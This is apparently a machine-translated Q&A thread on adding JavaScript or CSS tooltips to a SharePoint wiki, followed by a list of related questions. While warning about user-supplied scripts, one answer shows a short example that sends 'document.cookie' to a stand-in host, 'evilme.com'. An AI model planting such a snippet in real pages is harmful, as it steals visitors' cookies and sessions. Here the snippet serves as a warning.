wiki 관리자 인 경우 어떻게 Sharepoint wiki 페이지에 스크립팅 (자바 스크립트)을 입력 할 수 있습니까?
제목을 입력하고이를 클릭하면 작은 설명이 표시됩니다. 나는 보통 자바 스크립트로 다른 어떤 생각을 해왔다.위키 페이지에 Javascript를 입력하는 방법은 무엇입니까?
답변
당신이 위키의 관리자이고 클릭 대신 마우스 오버시 이것을 표시한다고 가정하면 자바 스크립트가 전혀 필요하지 않습니다. 똑 바른 CSS를 사용할 수 있습니다. 여기에 스타일과 마크 업의 예 좀 더 복잡 스타일로
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
, 당신의 도구 설명 상자가 원하는만큼 좋은 찾을 수 있습니다.
보안 위험이있는 것 같습니다. wiki 관리자가 스크립트를 설치할 가능성이 있습니다 (wikipedia's user scripts 참조).
저는 위키 관리자입니다. – Aidenn
공용 Wiki에 자바 스크립트 코드를 추가하면 안됩니다. 자신이 직접 호스팅하는 경우 특정 위키 시스템을 요구해야합니다. 그러면 누군가 해당 설정을 수정할 수 있도록 도와 줄 수 있습니다.
이 사이트에서 웹 페이지의 일부로 Javascript를 사용하는 것에 대해 이야기하고 있다면, 그렇게 할 수 없습니다. 또는 그 문제에 대한 다른 공개 위키 - 보안 위험이 있습니다.
코드 샘플을 게시하는 경우 텍스트 상자 위의 '101010'버튼을 클릭하십시오.
물론 당신이 말하는 위키 엔진에 달려 있습니다. 대부분 sblundy가 말했듯이 위키 페이지에서 자바 스크립트를 무료로 사용하는 것은 보안 상 위험 할 수 있습니다.
완전히 사용하는 특정 Wiki 소프트웨어에 따라 다릅니다. 내가 본 일은 다른 곳에서 js 파일을 호스트 한 다음 src 특성이있는 script 태그를 포함시키는 것입니다.
허용되지 않는 경우 스크립트를 포함하는 페이지로 설정할 수있는 IFRAME을 허용 할 수 있습니다. 두 번째 기술을 사용하면 호스트 페이지의 DOM에 액세스 할 수 없게됩니다.
임의의 태그에 title="text here"
을 추가하면 해당 태그 위에 마우스를 올리면 텍스트가 표시됩니다.
alt="text here"
특성을 사용하면 Internet Explorer에 텍스트가 표시되지만 표준에 맞지는 않습니다.
지금 테스트를 거쳐 위키 백과 (위키 백과에서 사용하는 시스템) 기반 시스템에 <h2 title="some explanation here">headline</h2>
을 추가 할 수 있습니다.
위키 작성자가 현명하다면 아마 이런 방법이 없을 것입니다.
사용자가 제공 한 JavaScript의 문제점은 모든 형태의 악의적 행위자가 의심하지 않는 사람으로부터 데이터를 가져올 수있는 문호를 열어주는 것입니다.
는 이제 가정하자 악 - 나 공공 웹 사이트에 스크립트를 게시 :i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
지금 내 서버의 로그에 게시 된 페이지에 각 방문자의 쿠키 정보를 받게됩니다. 그리고 그것은 빙산의 일각에 불과합니다.
나는 CSS 답변을 좋아합니다. Javascript 대신 CSS를 사용하면 마크 업이 단순 해집니다.
Codeplex의 SharePoint Enhanced Wiki Edition 용 커뮤니티 키트가 있습니다. 소스 코드를 다운로드하고 자신의 기능을 추가 할 수 있습니다. 또는 포럼에서이 기능을 새로운 기능으로 제안 할 수 있습니다.
- 1. 기존 프로젝트를 입력하는 방법은 무엇입니까?
- 2. 신경망에 이미지를 입력하는 방법은 무엇입니까?
- 3. 데이터베이스에 데이터를 입력하는 방법은 무엇입니까?
- 4. 아약스를 올바르게 입력하는 방법은 무엇입니까?
- 5. jQuery/Javascript를 사용하여 다른 페이지에 변수를 POST하는 방법은 무엇입니까?
- 6. Redmine 위키 페이지에 특수 문자 삽입하기
- 7. 는 다음 위키 페이지에 따르면 쉐이더
- 8. 브라우저에 표시되는 페이지에 웹 사이트 주소를 입력하는 단계는 무엇입니까?
- 9. 사용자가 날짜를 입력하는 가장 좋은 방법은 무엇입니까
- 10. .htaccess에 여러 PHP 값을 입력하는 방법은 무엇입니까?
- 11. Winamp vis 플러그인에 데이터를 입력하는 방법은 무엇입니까?
- 12. Sitecore RichText 편집기에서 나누기를 입력하는 방법은 무엇입니까?
- 13. 두 개의 클래스로보기를 강력하게 입력하는 방법은 무엇입니까?
- 14. Boost.PropertyTree에 파일이 아닌 문자열을 입력하는 방법은 무엇입니까?
- 15. Oracle에서 줄 바꿈 문자를 입력하는 방법은 무엇입니까?
- 16. cmd에 특수 문자를 입력하는 방법은 무엇입니까?
- 17. formtastic 양식을 입력하는 방법을 강요하는 방법은 무엇입니까?
- 18. 웹 양식에 null 문자를 입력하는 방법은 무엇입니까?
- 19. 프롤로그에서 다음 데이터를 입력하는 방법은 무엇입니까?
- 20. Java의 BlackberryTipCalculator에서 정수 값만 입력하는 방법은 무엇입니까?
- 21. 위키 페이지에서 수평선의 색을 변경하는 방법은 무엇입니까?
- 22. 위키 템플릿의 콘텐츠를 가져 오는 방법은 무엇입니까?
- 23. JavaScript를 사용하여 통화 가치를 확인하는 방법은 무엇입니까?
- 24. 마우스 오른쪽 버튼을 사용 중지하지 않고 JavaScript를 사용하여 TextBox에 숫자 만 입력하는 방법은 무엇입니까?
- 25. 공용 웹 사이트에 JavaScript를 포함시키는 방법은 무엇입니까?
- 26. IE에서 JavaScript를 디버깅하는 방법은 무엇입니까?
- 27. 위키
- 28. javascript를 사용하여 HTML에서 속성을 제거하는 방법은 무엇입니까?
- 29. Javascript를 사용하여 HTML 페이지에 파일을 삽입 하시겠습니까?
- 30. JavaScript를 사용하여 HTML 페이지에 곡선을 그리려면 어떻게해야합니까?
당신은 위키 사이트 관리자입니까 아니면 다른 사용자입니까? – sblundy
모든 것이 바뀝니다. 질문을 업데이트하고 위키 플랫폼을 포함하십시오. – sblundy
당신은 또한이 하나의 'html'로 태그를 붙일 수 있습니다. – Nate